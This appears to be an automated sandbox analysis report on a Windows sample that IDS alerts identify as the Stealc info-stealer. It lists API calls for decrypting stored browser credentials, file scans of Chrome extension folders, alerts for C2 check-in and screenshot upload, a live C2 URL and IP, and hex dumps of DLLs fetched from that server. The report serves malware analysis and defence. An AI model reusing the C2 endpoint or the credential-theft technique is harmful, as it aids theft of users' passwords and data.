Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: token
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: file_name
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: file
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: message
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_00419030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00419030
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040A2B0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_0040A2B0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040C920 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_0040C920
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0040A210
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_004072A0 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_004072A0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C77A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C77A9A0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C774440 PK11_PrivDecrypt,	0_2_6C774440
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C744420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C744420
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7744C0 PK11_PubEncrypt,	0_2_6C7744C0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7C25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C7C25B0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C758670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C758670
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C77A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C77A650
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C75E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C75E6E0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C79A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C79A730
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7A0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C7A0180
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7743B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C7743B0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C797C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C797C00
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C757D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C757D60
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C79BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C79BD30
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C799EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C799EC0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C773FF0 PK11_PrivDecryptPKCS1,	0_2_6C773FF0

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Unpacked PE file: 0.2.xLgTQcFdIJ.exe.400000.0.unpack

Source: xLgTQcFdIJ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.106.236.48:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.74:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:62304 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:62309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:62459 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: xLgTQcFdIJ.exe, 00000000.00000002.2214633161.000000006F8ED000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: nss3.pdb@ source: xLgTQcFdIJ.exe, 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: my_library.pdbU source: xLgTQcFdIJ.exe, 00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2214417858.000000006D051000.00000002.00000001.01000000.00000007.sdmp, xLgTQcFdIJ.exe, 00000000.00000003.1674473489.0000000004960000.00000004.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: my_library.pdb source: xLgTQcFdIJ.exe, xLgTQcFdIJ.exe, 00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2214417858.000000006D051000.00000002.00000001.01000000.00000007.sdmp, xLgTQcFdIJ.exe, 00000000.00000003.1674473489.0000000004960000.00000004.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: nss3.pdb source: xLgTQcFdIJ.exe, 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: mozglue.pdb source: xLgTQcFdIJ.exe, 00000000.00000002.2214633161.000000006F8ED000.00000002.00000001.01000000.00000011.sdmp

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 95.215.207.176:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 95.215.207.176:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 95.215.207.176:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 95.215.207.176:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 95.215.207.176:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 95.215.207.176:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:49754 -> 95.215.207.176:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://95.215.207.176/d8ddb681db736e16.php
Source: Malware configuration extractor	URLs: http://95.215.207.176/d8ddb681db736e16.php

Source: global traffic

TCP traffic: 192.168.2.4:62301 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 12:42:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 12:42:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 12:42:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 12:42:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 